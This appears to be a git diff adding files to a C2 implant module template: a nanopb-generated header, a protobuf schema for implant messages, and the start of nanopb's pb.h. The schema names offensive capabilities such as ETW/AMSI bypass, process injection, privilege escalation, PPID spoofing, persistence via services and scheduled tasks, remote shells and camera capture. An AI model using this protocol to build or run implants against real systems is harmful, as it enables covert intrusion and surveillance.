malefic_Response_msg; +extern const pb_msgdesc_t malefic_Response_KvEntry_msg; +extern const pb_msgdesc_t malefic_BypassRequest_msg; +extern const pb_msgdesc_t malefic_NetInterface_msg; +extern const pb_msgdesc_t malefic_SockTabEntry_msg; +extern const pb_msgdesc_t malefic_NetstatResponse_msg; +extern const pb_msgdesc_t malefic_Block_msg; +extern const pb_msgdesc_t malefic_ACK_msg; +extern const pb_msgdesc_t malefic_Os_msg; +extern const pb_msgdesc_t malefic_Process_msg; +extern const pb_msgdesc_t malefic_Timer_msg; +extern const pb_msgdesc_t malefic_FileInfo_msg; +extern const pb_msgdesc_t malefic_SacrificeProcess_msg; +extern const pb_msgdesc_t malefic_LsResponse_msg; +extern const pb_msgdesc_t malefic_DriveInfo_msg; +extern const pb_msgdesc_t malefic_EnumDriversResponse_msg; +extern const pb_msgdesc_t malefic_PsResponse_msg; +extern const pb_msgdesc_t malefic_ExecRequest_msg; +extern const pb_msgdesc_t malefic_ExecResponse_msg; +extern const pb_msgdesc_t malefic_BinaryResponse_msg; +extern const pb_msgdesc_t malefic_Modules_msg; +extern const pb_msgdesc_t malefic_Addons_msg; +extern const pb_msgdesc_t malefic_Addon_msg; +extern const pb_msgdesc_t malefic_LoadModule_msg; +extern const pb_msgdesc_t malefic_LoadAddon_msg; +extern const pb_msgdesc_t malefic_ExecuteAddon_msg; +extern const pb_msgdesc_t malefic_ExecuteBinary_msg; +extern const pb_msgdesc_t malefic_ExecuteBinary_ParamEntry_msg; +extern const pb_msgdesc_t malefic_ExecuteCommand_msg; +extern const pb_msgdesc_t malefic_UploadRequest_msg; +extern const pb_msgdesc_t malefic_DownloadRequest_msg; +extern const pb_msgdesc_t malefic_DownloadResponse_msg; +extern const pb_msgdesc_t malefic_CurlRequest_msg; +extern const pb_msgdesc_t malefic_CurlRequest_HeaderEntry_msg; +extern const pb_msgdesc_t malefic_ChownRequest_msg; +extern const pb_msgdesc_t malefic_IfconfigResponse_msg; +extern const pb_msgdesc_t malefic_RegistryRequest_msg; +extern const pb_msgdesc_t malefic_Registry_msg; +extern const pb_msgdesc_t malefic_RegistryWriteRequest_msg; +extern const pb_msgdesc_t malefic_TaskScheduleRequest_msg; +extern const pb_msgdesc_t malefic_TaskSchedule_msg; +extern const pb_msgdesc_t malefic_TaskSchedulesResponse_msg; +extern const pb_msgdesc_t malefic_ServiceRequest_msg; +extern const pb_msgdesc_t malefic_ServiceConfig_msg; +extern const pb_msgdesc_t malefic_ServiceStatus_msg; +extern const pb_msgdesc_t malefic_Service_msg; +extern const pb_msgdesc_t malefic_ServicesResponse_msg; +extern const pb_msgdesc_t malefic_WmiQueryRequest_msg; +extern const pb_msgdesc_t malefic_WmiMethodRequest_msg; +extern const pb_msgdesc_t malefic_WmiMethodRequest_ParamsEntry_msg; +extern const pb_msgdesc_t malefic_RunAsRequest_msg; +extern const pb_msgdesc_t malefic_GetSystem_msg; +extern const pb_msgdesc_t malefic_Inject_msg; +extern const pb_msgdesc_t malefic_Pipe_msg; +extern const pb_msgdesc_t malefic_PipeRequest_msg; +extern const pb_msgdesc_t malefic_Switch_msg; +extern const pb_msgdesc_t malefic_TaskCtrl_msg; +extern const pb_msgdesc_t malefic_TaskInfo_msg; +extern const pb_msgdesc_t malefic_TaskListResponse_msg; +extern const pb_msgdesc_t malefic_FFmpegRequest_msg; +extern const pb_msgdesc_t malefic_PtyRequest_msg; +extern const pb_msgdesc_t malefic_PtyRequest_ParamsEntry_msg; +extern const pb_msgdesc_t malefic_PtyResponse_msg; +extern const pb_msgdesc_t malefic_PtyResponse_MetadataEntry_msg; +extern const pb_msgdesc_t malefic_CommonBody_msg; + +/* Defines for backwards compatibility with code written before nanopb-0.4.0 */ +#define malefic_Ping_fields &malefic_Ping_msg +#define malefic_Register_fields &malefic_Register_msg +#define malefic_Secure_fields &malefic_Secure_msg +#define malefic_KeyExchangeRequest_fields &malefic_KeyExchangeRequest_msg +#define malefic_KeyExchangeResponse_fields &malefic_KeyExchangeResponse_msg +#define malefic_Init_fields &malefic_Init_msg +#define malefic_SysInfo_fields &malefic_SysInfo_msg +#define malefic_Suicide_fields &malefic_Suicide_msg +#define malefic_Request_fields &malefic_Request_msg +#define malefic_Request_ParamsEntry_fields &malefic_Request_ParamsEntry_msg +#define malefic_Response_fields &malefic_Response_msg +#define malefic_Response_KvEntry_fields &malefic_Response_KvEntry_msg +#define malefic_BypassRequest_fields &malefic_BypassRequest_msg +#define malefic_NetInterface_fields &malefic_NetInterface_msg +#define malefic_SockTabEntry_fields &malefic_SockTabEntry_msg +#define malefic_NetstatResponse_fields &malefic_NetstatResponse_msg +#define malefic_Block_fields &malefic_Block_msg +#define malefic_ACK_fields &malefic_ACK_msg +#define malefic_Os_fields &malefic_Os_msg +#define malefic_Process_fields &malefic_Process_msg +#define malefic_Timer_fields &malefic_Timer_msg +#define malefic_FileInfo_fields &malefic_FileInfo_msg +#define malefic_SacrificeProcess_fields &malefic_SacrificeProcess_msg +#define malefic_LsResponse_fields &malefic_LsResponse_msg +#define malefic_DriveInfo_fields &malefic_DriveInfo_msg +#define malefic_EnumDriversResponse_fields &malefic_EnumDriversResponse_msg +#define malefic_PsResponse_fields &malefic_PsResponse_msg +#define malefic_ExecRequest_fields &malefic_ExecRequest_msg +#define malefic_ExecResponse_fields &malefic_ExecResponse_msg +#define malefic_BinaryResponse_fields &malefic_BinaryResponse_msg +#define malefic_Modules_fields &malefic_Modules_msg +#define malefic_Addons_fields &malefic_Addons_msg +#define malefic_Addon_fields &malefic_Addon_msg +#define malefic_LoadModule_fields &malefic_LoadModule_msg +#define malefic_LoadAddon_fields &malefic_LoadAddon_msg +#define malefic_ExecuteAddon_fields &malefic_ExecuteAddon_msg +#define malefic_ExecuteBinary_fields &malefic_ExecuteBinary_msg +#define malefic_ExecuteBinary_ParamEntry_fields &malefic_ExecuteBinary_ParamEntry_msg +#define malefic_ExecuteCommand_fields &malefic_ExecuteCommand_msg +#define malefic_UploadRequest_fields &malefic_UploadRequest_msg +#define malefic_DownloadRequest_fields &malefic_DownloadRequest_msg +#define malefic_DownloadResponse_fields &malefic_DownloadResponse_msg +#define malefic_CurlRequest_fields &malefic_CurlRequest_msg +#define malefic_CurlRequest_HeaderEntry_fields &malefic_CurlRequest_HeaderEntry_msg +#define malefic_ChownRequest_fields &malefic_ChownRequest_msg +#define malefic_IfconfigResponse_fields &malefic_IfconfigResponse_msg +#define malefic_RegistryRequest_fields &malefic_RegistryRequest_msg +#define malefic_Registry_fields &malefic_Registry_msg +#define malefic_RegistryWriteRequest_fields &malefic_RegistryWriteRequest_msg +#define malefic_TaskScheduleRequest_fields &malefic_TaskScheduleRequest_msg +#define malefic_TaskSchedule_fields &malefic_TaskSchedule_msg +#define malefic_TaskSchedulesResponse_fields &malefic_TaskSchedulesResponse_msg +#define malefic_ServiceRequest_fields &malefic_ServiceRequest_msg +#define malefic_ServiceConfig_fields &malefic_ServiceConfig_msg +#define malefic_ServiceStatus_fields &malefic_ServiceStatus_msg +#define malefic_Service_fields &malefic_Service_msg +#define malefic_ServicesResponse_fields &malefic_ServicesResponse_msg +#define malefic_WmiQueryRequest_fields &malefic_WmiQueryRequest_msg +#define malefic_WmiMethodRequest_fields &malefic_WmiMethodRequest_msg +#define malefic_WmiMethodRequest_ParamsEntry_fields &malefic_WmiMethodRequest_ParamsEntry_msg +#define malefic_RunAsRequest_fields &malefic_RunAsRequest_msg +#define malefic_GetSystem_fields &malefic_GetSystem_msg +#define malefic_Inject_fields &malefic_Inject_msg +#define malefic_Pipe_fields &malefic_Pipe_msg +#define malefic_PipeRequest_fields &malefic_PipeRequest_msg +#define malefic_Switch_fields &malefic_Switch_msg +#define malefic_TaskCtrl_fields &malefic_TaskCtrl_msg +#define malefic_TaskInfo_fields &malefic_TaskInfo_msg +#define malefic_TaskListResponse_fields &malefic_TaskListResponse_msg +#define malefic_FFmpegRequest_fields &malefic_FFmpegRequest_msg +#define malefic_PtyRequest_fields &malefic_PtyRequest_msg +#define malefic_PtyRequest_ParamsEntry_fields &malefic_PtyRequest_ParamsEntry_msg +#define malefic_PtyResponse_fields &malefic_PtyResponse_msg +#define malefic_PtyResponse_MetadataEntry_fields &malefic_PtyResponse_MetadataEntry_msg +#define malefic_CommonBody_fields &malefic_CommonBody_msg + +/* Maximum encoded size of messages (where known) */ +/* malefic_Request_size depends on runtime parameters */ +/* malefic_Request_ParamsEntry_size depends on runtime parameters */ +/* malefic_Response_size depends on runtime parameters */ +/* malefic_Response_KvEntry_size depends on runtime parameters */ +/* malefic_ExecuteAddon_size depends on runtime parameters */ +/* malefic_ExecuteBinary_size depends on runtime parameters */ +/* malefic_ExecuteBinary_ParamEntry_size depends on runtime parameters */ +/* malefic_CurlRequest_size depends on runtime parameters */ +/* malefic_CurlRequest_HeaderEntry_size depends on runtime parameters */ +/* malefic_WmiMethodRequest_size depends on runtime parameters */ +/* malefic_WmiMethodRequest_ParamsEntry_size depends on runtime parameters */ +/* malefic_PtyRequest_size depends on runtime parameters */ +/* malefic_PtyRequest_ParamsEntry_size depends on runtime parameters */ +/* malefic_PtyResponse_size depends on runtime parameters */ +/* malefic_PtyResponse_MetadataEntry_size depends on runtime parameters */ +#define MALEFIC_MODULE_PB_H_MAX_SIZE malefic_PsResponse_size +#define malefic_ACK_size 10 +#define malefic_Addon_size 325 +#define malefic_Addons_size 10496 +#define malefic_BinaryResponse_size 8467 +#define malefic_Block_size 4107 +#define malefic_BypassRequest_size 6 +#define malefic_ChownRequest_size 390 +#define malefic_CommonBody_size 74706 +#define malefic_DownloadRequest_size 535 +#define malefic_DownloadResponse_size 4251 +#define malefic_DriveInfo_size 185 +#define malefic_EnumDriversResponse_size 3008 +#define malefic_ExecRequest_size 8526 +#define malefic_ExecResponse_size 8217 +#define malefic_ExecuteCommand_size 531 +#define malefic_FFmpegRequest_size 519 +#define malefic_FileInfo_size 546 +#define malefic_GetSystem_size 4105 +#define malefic_IfconfigResponse_size 38944 +#define malefic_Init_size 4099 +#define malefic_Inject_size 4105 +#define malefic_KeyExchangeRequest_size 593 +#define malefic_KeyExchangeResponse_size 258 +#define malefic_LoadAddon_size 4424 +#define malefic_LoadModule_size 4357 +#define malefic_LsResponse_size 70532 +#define malefic_Modules_size 16512 +#define malefic_NetInterface_size 1214 +#define malefic_NetstatResponse_size 51200 +#define malefic_Os_size 1268 +#define malefic_Ping_size 11 +#define malefic_PipeRequest_size 4427 +#define malefic_Pipe_size 4359 +#define malefic_Process_size 886 +#define malefic_PsResponse_size 455168 +#define malefic_Register_size 30933 +#define malefic_RegistryRequest_size 649 +#define malefic_RegistryWriteRequest_size 4961 +#define malefic_Registry_size 581 +#define malefic_RunAsRequest_size 1040 +#define malefic_SacrificeProcess_size 270 +#define malefic_Secure_size 583 +#define malefic_ServiceConfig_size 916 +#define malefic_ServiceRequest_size 984 +#define malefic_ServiceStatus_size 30 +#define malefic_Service_size 951 +#define malefic_ServicesResponse_size 122112 +#define malefic_SockTabEntry_size 197 +#define malefic_Suicide_size 22 +#define malefic_Switch_size 4128 +#define malefic_SysInfo_size 2678 +#define malefic_TaskCtrl_size 71 +#define malefic_TaskInfo_size 29 +#define malefic_TaskListResponse_size 3968 +#define malefic_TaskScheduleRequest_size 1303 +#define malefic_TaskSchedule_size 1235 +#define malefic_TaskSchedulesResponse_size 79232 +#define malefic_Timer_size 139 +#define malefic_UploadRequest_size 4625 +#define malefic_WmiQueryRequest_size 4386 + +#ifdef __cplusplus +} /* extern "C" */ +#endif + +#endif diff --git a/malefic-3rd-template/malefic-3rd-zig/src/zig/malefic/module.proto b/malefic-3rd-template/malefic-3rd-zig/src/zig/malefic/module.proto new file mode 100644 index 0000000..6e73d4f --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-zig/src/zig/malefic/module.proto @@ -0,0 +1,483 @@ +syntax = "proto3"; +package malefic; + +option go_package = "./malefic"; + + +message Ping{ + int32 nonce = 1; +} + +message Register { + string name = 1; + string proxy = 2; + repeated string module = 3; + repeated Addon addons = 4; + Timer timer = 5; + SysInfo sysinfo = 11; + Secure secure = 12; // Implant's public key, used by server to encrypt data +} + +message Secure{ + bool enable = 1; + string key = 2; // encryption key + string type = 3; // encryption type + string public_key = 4; // Implant's public key, used by server to encrypt data +} + + +// Age key exchange related messages +message KeyExchangeRequest { + string public_key = 1; // Temporary public key (Age X25519) + bytes signature = 2; // Signature of temporary public key + uint64 timestamp = 3; // Timestamp + string nonce = 4; // Nonce +} + +message KeyExchangeResponse { + string public_key = 1; // Server temporary public key +} + +message Init{ + bytes data = 1; +} + +message SysInfo { + string filepath = 1; + string workdir = 2; + bool is_privilege = 3; + Os os = 11; + Process process = 12; +} + +message Suicide { + int32 type = 1; + int64 timestamp = 2; +} + + +// common empty request +message Request { + string name = 1; + string input = 2; + repeated string args = 3; + map params = 4; + bytes bin = 5; +} + +message Response { + string output = 1; + string error = 2; + map kv = 3; + repeated string array =4; +} + + +message BypassRequest{ + bool ETW = 1; + bool AMSI = 2; + bool block_dll = 3; +} + +message NetInterface { + int32 index = 1; + string name = 2; + string mac = 3; + repeated string ip_addresses = 4; +} + +message SockTabEntry { + string local_addr = 1; + string remote_addr = 2; + string skState = 3; + // uint32 uid = 4; + string pid = 5; + string protocol = 6; +} + +message NetstatResponse { + repeated SockTabEntry socks = 1; +} + + +message Block{ + uint32 block_id = 1; + bytes content = 2; + bool end = 3; +} + +message ACK { + uint32 id = 1; + bool success = 2; + bool end = 3; +} + +message Os { + string name = 1; + string version = 2; // kernel version + string release = 3; // release version + string arch = 4; + string username = 5; + string hostname = 6; + string locale = 7; // timezone + repeated string clr_version = 8; +} + +message Process { + string name = 1; + uint32 pid = 2; + uint32 ppid = 3; + string owner = 4; + string arch = 5; + string path = 6; + string args = 7; + string uid = 8; +} + +message Timer { + string expression = 1; + double jitter = 2; +} + +message FileInfo { + string Name = 1; + bool IsDir = 2; + uint64 Size = 3; + int64 ModTime = 4; + uint32 Mode = 5; + string Link = 6; +} + +message SacrificeProcess { + bool hidden = 1; + bool block_dll = 2; + bool etw = 3; + uint32 ppid = 4; + string argue = 5; +} + +message LsResponse { + string Path = 1; + bool Exists = 2; + repeated FileInfo Files = 3; +} + +message DriveInfo { + string path = 1; // "C:\\" + string drive_type = 2; // "Fixed drive" + uint64 total_size = 3; // + uint64 free_size = 4; // + string file_system = 5; // "NTFS" +} + +message EnumDriversResponse { + repeated DriveInfo drives = 1; +} + +message PsResponse{ + repeated Process processes = 1; +} + +message ExecRequest { + string path = 1; + repeated string args = 2; + bool output = 3; + bool singleton = 4; + bool realtime = 5; + uint32 ppid = 10; +} + +message ExecResponse { + int32 status_code = 1; + bytes stdout = 2; + bytes stderr = 3; + uint32 pid = 4; + bool end = 5; +} + +message BinaryResponse { + bytes data = 1; // common return, bof BeaconOutput + bytes message = 2; // bof BeaconPrintf + string err = 4; + int32 status = 3; +} + +message Modules { + repeated string modules = 1; + map bundle_map = 2; +} + + +message Addons { + repeated Addon addons = 1; +} + +message Addon { + string name = 1; + string type = 2; + string depend = 3; +} + +message LoadModule{ + string bundle = 1; + bytes bin = 2; +} + +message LoadAddon{ + string name = 1; + string type = 2; + string depend = 3; + bytes bin = 4; +} + +message ExecuteAddon { + string addon = 1; + ExecuteBinary execute_binary = 2; +} + +message ExecuteBinary { + string name = 1; + bytes bin = 2; + map param = 3; + string type = 4; + string process_name = 5; + repeated string args = 6; + string entry_point = 7; + bytes data = 8; + bool output = 9; + uint32 arch = 10; + uint32 timeout = 11; + SacrificeProcess sacrifice = 12; + string path = 13; + string context = 14; + uint32 delay = 15; //millisecond +} + +message ExecuteCommand { + string command = 1; + SacrificeProcess sacrifice = 2; +} + +message UploadRequest { + string name = 1; + string target = 2; + uint32 priv = 3; + bytes data = 4; + bool hidden = 5; + bool override = 6; +} + +message DownloadRequest { + string path = 1; + string name = 2; + uint32 buffer_size = 3; + bool dir = 4; + int32 cur = 5; +} + +message DownloadResponse{ + string checksum = 1; + uint64 size = 2; + int32 cur = 3; + bytes content = 4; +} + +message CurlRequest{ + string url = 1; + int32 timeout = 2; + string method = 3; + bytes body = 4; + map header =5; + string hostname = 6; +} + +message ChownRequest{ + string path = 1; + string uid = 2; + string gid = 3; + bool recursive = 4; +} + +message IfconfigResponse { + repeated NetInterface net_interfaces = 1; +} + +// wrap for client +message RegistryRequest { + string type = 1; + Registry registry = 2; +} + +message Registry { + string hive = 1; + string path = 2; + string key = 3; +} + +message RegistryWriteRequest { + string hive = 1; + string path = 2; + string key = 3; + string string_value = 5; + bytes byte_value = 6; + uint32 dword_value = 7; + uint64 qword_value = 8; + uint32 regtype = 10; +} + +message TaskScheduleRequest { + string type = 1; + TaskSchedule taskschd = 2; +} + +message TaskSchedule { + string name = 1; + string path = 2; + string executable_path = 3; + uint32 trigger_type = 4; + string start_boundary = 5; + string description = 6; + bool enabled = 7; + string last_run_time = 8; + string next_run_time = 9; +} + + +message TaskSchedulesResponse { + repeated TaskSchedule schedules = 1; +} + +// wrap for client +message ServiceRequest { + string type = 1; + ServiceConfig service = 2; +} + +message ServiceConfig { + string name = 1; + string display_name = 2; + string executable_path = 3; + uint32 start_type = 4; + uint32 error_control = 5; + string account_name = 6; +} + +message ServiceStatus { + uint32 current_state = 1; + uint32 process_id = 2; + uint32 exit_code = 3; + uint32 checkpoint = 4; + uint32 wait_hint = 5; +} + +message Service { + ServiceConfig config = 1; + ServiceStatus status = 2; +} + +message ServicesResponse { + repeated Service services = 1; +} + +message WmiQueryRequest { + string namespace = 1; + repeated string args = 2; +} + +message WmiMethodRequest { + string namespace = 1; + string class_name = 2; + string method_name = 3; + map params = 4; +} + +message RunAsRequest { + string username = 1; // Username to execute as + string domain = 2; // User domain + string password = 3; // User password + string program = 4; // Program path + string args = 5; // Program arguments (optional) + bool use_profile = 6; + bool netonly = 7; // Use network credentials only (optional, default false) + bool use_env = 8; +} + +message GetSystem{ + bytes bin = 1; + uint32 pid = 2; +} + +message Inject{ + bytes bin = 1; + uint32 pid = 2; +} + +message Pipe { + string name = 1; + string target = 2; + bytes data = 4; +} + +message PipeRequest { + string type = 1; + Pipe pipe = 2; +} + +message Switch { + repeated string urls = 1; +} + +message TaskCtrl{ + uint32 task_id = 1; + string op = 2; +} + +message TaskInfo { + uint32 task_id = 1; + uint64 last = 2; + uint32 recv_count = 3; + uint32 send_count = 4; +} + +message TaskListResponse { + repeated TaskInfo tasks = 1; +} + +message FFmpegRequest { + string action = 1; + string device_name = 2; + string output_format = 3; + string output_path = 4; + string time = 5; +} + +// PTY +message PtyRequest { + string type = 1; // type: "start", "input", "stop" + string session_id = 2; // + string shell = 3; // shell type: "/bin/bash", "cmd.exe", "powershell.exe" + uint32 cols = 4; // + uint32 rows = 5; // + bytes input_data = 6; // + string input_text = 7; // + map params = 8; // +} + +message PtyResponse { + string session_id = 1; // Session ID + bytes output_data = 2; // Output data (binary) + string output_text = 3; // Output data (text) + string error = 4; // Error message + bool session_active = 5; // Whether session is still active + repeated string active_sessions = 6; + map metadata = 7; +} + +message CommonBody { + string name = 1; + repeated uint32 u32_array = 2; + repeated uint64 u64_array = 4; + repeated bool bool_array = 6; + repeated string string_array = 8; + repeated bytes bytes_array = 10; +} diff --git a/malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb.h b/malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb.h new file mode 100644 index 0000000..10249bb --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb.h @@ -0,0 +1,922 @@ +/* Common parts of the nanopb library. Most of these are quite low-level + * stuff. For the high-level interface, see pb_encode.h and pb_decode.h. + */ + +#ifndef PB_H_INCLUDED +#define PB_H_INCLUDED + +/***************************************************************** + * Nanopb compilation time options. You can change these here by * + * uncommenting the lines, or on the compiler command line. * + *****************************************************************/ + +/* Enable support for dynamically allocated fields */ +/* #define PB_ENABLE_MALLOC 1 */ + +/* Define this if your CPU / compiler combination does not support + * unaligned memory access to packed structures. Note that packed + * structures are only used when requested in .proto options. */ +/* #define PB_NO_PACKED_STRUCTS 1 */ + +/* Increase the number of required fields that are tracked. + * A compiler warning will tell if you need this. */ +/* #define PB_MAX_REQUIRED_FIELDS 256 */ + +/* Add support for tag numbers > 65536 and fields larger than 65536 bytes. */ +/* #define PB_FIELD_32BIT 1 */ + +/* Disable support for error messages in order to save some code space. */ +/* #define PB_NO_ERRMSG 1 */ + +/* Disable support for custom streams (support only memory buffers). */ +/* #define PB_BUFFER_ONLY 1 */ + +/* Disable support for 64-bit datatypes, for compilers without int64_t + or to save some code space. */ +/* #define PB_WITHOUT_64BIT 1 */ + +/* Don't encode scalar arrays as packed. This is only to be used when + * the decoder on the receiving side cannot process packed scalar arrays. + * Such example is older protobuf.js. */ +/* #define PB_ENCODE_ARRAYS_UNPACKED 1 */ + +/* Enable conversion of doubles to floats for platforms that do not + * support 64-bit doubles. Most commonly AVR. */ +/* #define PB_CONVERT_DOUBLE_FLOAT 1 */ + +/* Check whether incoming strings are valid UTF-8 sequences. Slows down + * the string processing slightly and slightly increases code size. */ +/* #define PB_VALIDATE_UTF8 1 */ + +/* This can be defined if the platform is little-endian and has 8-bit bytes. + * Normally it is automatically detected based on __BYTE_ORDER__ macro. */ +/* #define PB_LITTLE_ENDIAN_8BIT 1 */ + +/* Configure static assert mechanism. Instead of changing these, set your + * compiler to C11 standard mode if possible. */ +/* #define PB_C99_STATIC_ASSERT 1 */ +/* #define PB_NO_STATIC_ASSERT 1 */ + +/****************************************************************** + * You usually don't need to change anything below this line. * + * Feel free to look around and use the defined macros, though. * + ******************************************************************/ + + +/* Version of the nanopb library. Just in case you want to check it in + * your own program. */ +#define NANOPB_VERSION "nanopb-0.4.9.1" + +/* Include all the system headers needed by nanopb. You will need the + * definitions of the following: + * - strlen, memcpy, memset functions + * - [u]int_least8_t, uint_fast8_t, [u]int_least16_t, [u]int32_t, [u]int64_t + * - size_t + * - bool + * + * If you don't have the standard header files, you can instead provide + * a custom header that defines or includes all this. In that case, + * define PB_SYSTEM_HEADER to the path of this file. + */ +#ifdef PB_SYSTEM_HEADER +#include PB_SYSTEM_HEADER +#else +#include +#include +#include +#include +#include + +#ifdef PB_ENABLE_MALLOC +#include +#endif +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +/* Macro for defining packed structures (compiler dependent). + * This just reduces memory requirements, but is not required. + */ +#if defined(PB_NO_PACKED_STRUCTS) + /* Disable struct packing */ +# define PB_PACKED_STRUCT_START +# define PB_PACKED_STRUCT_END +# define pb_packed +#elif defined(__GNUC__) || defined(__clang__) + /* For GCC and clang */ +# define PB_PACKED_STRUCT_START +# define PB_PACKED_STRUCT_END +# define pb_packed __attribute__((packed)) +#elif defined(__ICCARM__) || defined(__CC_ARM) + /* For IAR ARM and Keil MDK-ARM compilers */ +# define PB_PACKED_STRUCT_START _Pragma("pack(push, 1)") +# define PB_PACKED_STRUCT_END _Pragma("pack(pop)") +# define pb_packed +#elif defined(_MSC_VER) && (_MSC_VER >= 1500) + /* For Microsoft Visual C++ */ +# define PB_PACKED_STRUCT_START __pragma(pack(push, 1)) +# define PB_PACKED_STRUCT_END __pragma(pack(pop)) +# define pb_packed +#else + /* Unknown compiler */ +# define PB_PACKED_STRUCT_START +# define PB_PACKED_STRUCT_END +# define pb_packed +#endif + +/* Detect endianness */ +#ifndef PB_LITTLE_ENDIAN_8BIT +#if ((defined(__BYTE_ORDER) && __BYTE_ORDER == __LITTLE_ENDIAN) || \ + (defined(__BYTE_ORDER__) && __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__) || \ + defined(__LITTLE_ENDIAN__) || defined(__ARMEL__) || \ + defined(__THUMBEL__) || defined(__AARCH64EL__) || defined(_MIPSEL) || \ + defined(_M_IX86) || defined(_M_X64) || defined(_M_ARM)) \ + && CHAR_BIT == 8 +#define PB_LITTLE_ENDIAN_8BIT 1 +#endif +#endif + +/* Handly macro for suppressing unreferenced-parameter compiler warnings. */ +#ifndef PB_UNUSED +#define PB_UNUSED(x) (void)(x) +#endif + +/* Harvard-architecture processors may need special attributes for storing + * field information in program memory. */ +#ifndef PB_PROGMEM +#ifdef __AVR__ +#include +#define PB_PROGMEM PROGMEM +#define PB_PROGMEM_READU32(x) pgm_read_dword(&x) +#else +#define PB_PROGMEM +#define PB_PROGMEM_READU32(x) (x) +#endif +#endif + +/* Compile-time assertion, used for checking compatible compilation options. + * If this does not work properly on your compiler, use + * #define PB_NO_STATIC_ASSERT to disable it. + * + * But before doing that, check carefully the error message / place where it + * comes from to see if the error has a real cause. Unfortunately the error + * message is not always very clear to read, but you can see the reason better + * in the place where the PB_STATIC_ASSERT macro was called. + */ +#ifndef PB_NO_STATIC_ASSERT +# ifndef PB_STATIC_ASSERT +# if defined(__ICCARM__) + /* IAR has static_assert keyword but no _Static_assert */ +# define PB_STATIC_ASSERT(COND,MSG) static_assert(COND,#MSG); +# elif defined(_MSC_VER) && (!defined(__STDC_VERSION__) || __STDC_VERSION__ < 201112) + /* MSVC in C89 mode supports static_assert() keyword anyway */ +# define PB_STATIC_ASSERT(COND,MSG) static_assert(COND,#MSG); +# elif defined(PB_C99_STATIC_ASSERT) + /* Classic negative-size-array static assert mechanism */ +# define PB_STATIC_ASSERT(COND,MSG) typedef char PB_STATIC_ASSERT_MSG(MSG, __LINE__, __COUNTER__)[(COND)?1:-1]; +# define PB_STATIC_ASSERT_MSG(MSG, LINE, COUNTER) PB_STATIC_ASSERT_MSG_(MSG, LINE, COUNTER) +# define PB_STATIC_ASSERT_MSG_(MSG, LINE, COUNTER) pb_static_assertion_##MSG##_##LINE##_##COUNTER +# elif defined(__cplusplus) + /* C++11 standard static_assert mechanism */ +# define PB_STATIC_ASSERT(COND,MSG) static_assert(COND,#MSG); +# else + /* C11 standard _Static_assert mechanism */ +# define PB_STATIC_ASSERT(COND,MSG) _Static_assert(COND,#MSG); +# endif +# endif +#else + /* Static asserts disabled by PB_NO_STATIC_ASSERT */ +# define PB_STATIC_ASSERT(COND,MSG) +#endif + +/* Test that PB_STATIC_ASSERT works + * If you get errors here, you may need to do one of these: + * - Enable C11 standard support in your compiler + * - Define PB_C99_STATIC_ASSERT to enable C99 standard support + * - Define PB_NO_STATIC_ASSERT to disable static asserts altogether + */ +PB_STATIC_ASSERT(1, STATIC_ASSERT_IS_NOT_WORKING) + +/* Number of required fields to keep track of. */ +#ifndef PB_MAX_REQUIRED_FIELDS +#define PB_MAX_REQUIRED_FIELDS 64 +#endif + +#if PB_MAX_REQUIRED_FIELDS < 64 +#error You should not lower PB_MAX_REQUIRED_FIELDS from the default value (64). +#endif + +#ifdef PB_WITHOUT_64BIT +#ifdef PB_CONVERT_DOUBLE_FLOAT +/* Cannot use doubles without 64-bit types */ +#undef PB_CONVERT_DOUBLE_FLOAT +#endif +#endif + +/* Data type for storing encoded data and other byte streams. + * This typedef exists to support platforms where uint8_t does not exist. + * You can regard it as equivalent on uint8_t on other platforms. + */ +#if defined(PB_BYTE_T_OVERRIDE) +typedef PB_BYTE_T_OVERRIDE pb_byte_t; +#elif defined(UINT8_MAX) +typedef uint8_t pb_byte_t; +#else +typedef uint_least8_t pb_byte_t; +#endif + +/* List of possible field types. These are used in the autogenerated code. + * Least-significant 4 bits tell the scalar type + * Most-significant 4 bits specify repeated/required/packed etc. + */ +typedef pb_byte_t pb_type_t; + +/**** Field data types ****/ + +/* Numeric types */ +#define PB_LTYPE_BOOL 0x00U /* bool */ +#define PB_LTYPE_VARINT 0x01U /* int32, int64, enum, bool */ +#define PB_LTYPE_UVARINT 0x02U /* uint32, uint64 */ +#define PB_LTYPE_SVARINT 0x03U /* sint32, sint64 */ +#define PB_LTYPE_FIXED32 0x04U /* fixed32, sfixed32, float */ +#define PB_LTYPE_FIXED64 0x05U /* fixed64, sfixed64, double */ + +/* Marker for last packable field type. */ +#define PB_LTYPE_LAST_PACKABLE 0x05U + +/* Byte array with pre-allocated buffer. + * data_size is the length of the allocated PB_BYTES_ARRAY structure. */ +#define PB_LTYPE_BYTES 0x06U + +/* String with pre-allocated buffer. + * data_size is the maximum length. */ +#define PB_LTYPE_STRING 0x07U + +/* Submessage + * submsg_fields is pointer to field descriptions */ +#define PB_LTYPE_SUBMESSAGE 0x08U + +/* Submessage with pre-decoding callback + * The pre-decoding callback is stored as pb_callback_t right before pSize. + * submsg_fields is pointer to field descriptions */ +#define PB_LTYPE_SUBMSG_W_CB 0x09U + +/* Extension pseudo-field + * The field contains a pointer to pb_extension_t */ +#define PB_LTYPE_EXTENSION 0x0AU + +/* Byte array with inline, pre-allocated byffer. + * data_size is the length of the inline, allocated buffer. + * This differs from PB_LTYPE_BYTES by defining the element as + * pb_byte_t[data_size] rather than pb_bytes_array_t. */ +#define PB_LTYPE_FIXED_LENGTH_BYTES 0x0BU + +/* Number of declared LTYPES */ +#define PB_LTYPES_COUNT 0x0CU +#define PB_LTYPE_MASK 0x0FU + +/**** Field repetition rules ****/ + +#define PB_HTYPE_REQUIRED 0x00U +#define PB_HTYPE_OPTIONAL 0x10U +#define PB_HTYPE_SINGULAR 0x10U +#define PB_HTYPE_REPEATED 0x20U +#define PB_HTYPE_FIXARRAY 0x20U +#define PB_HTYPE_ONEOF 0x30U +#define PB_HTYPE_MASK 0x30U + +/**** Field allocation types ****/ + +#define PB_ATYPE_STATIC 0x00U +#define PB_ATYPE_POINTER 0x80U +#define PB_ATYPE_CALLBACK 0x40U +#define PB_ATYPE_MASK 0xC0U + +#define PB_ATYPE(x) ((x) & PB_ATYPE_MASK) +#define PB_HTYPE(x) ((x) & PB_HTYPE_MASK) +#define PB_LTYPE(x) ((x) & PB_LTYPE_MASK) +#define 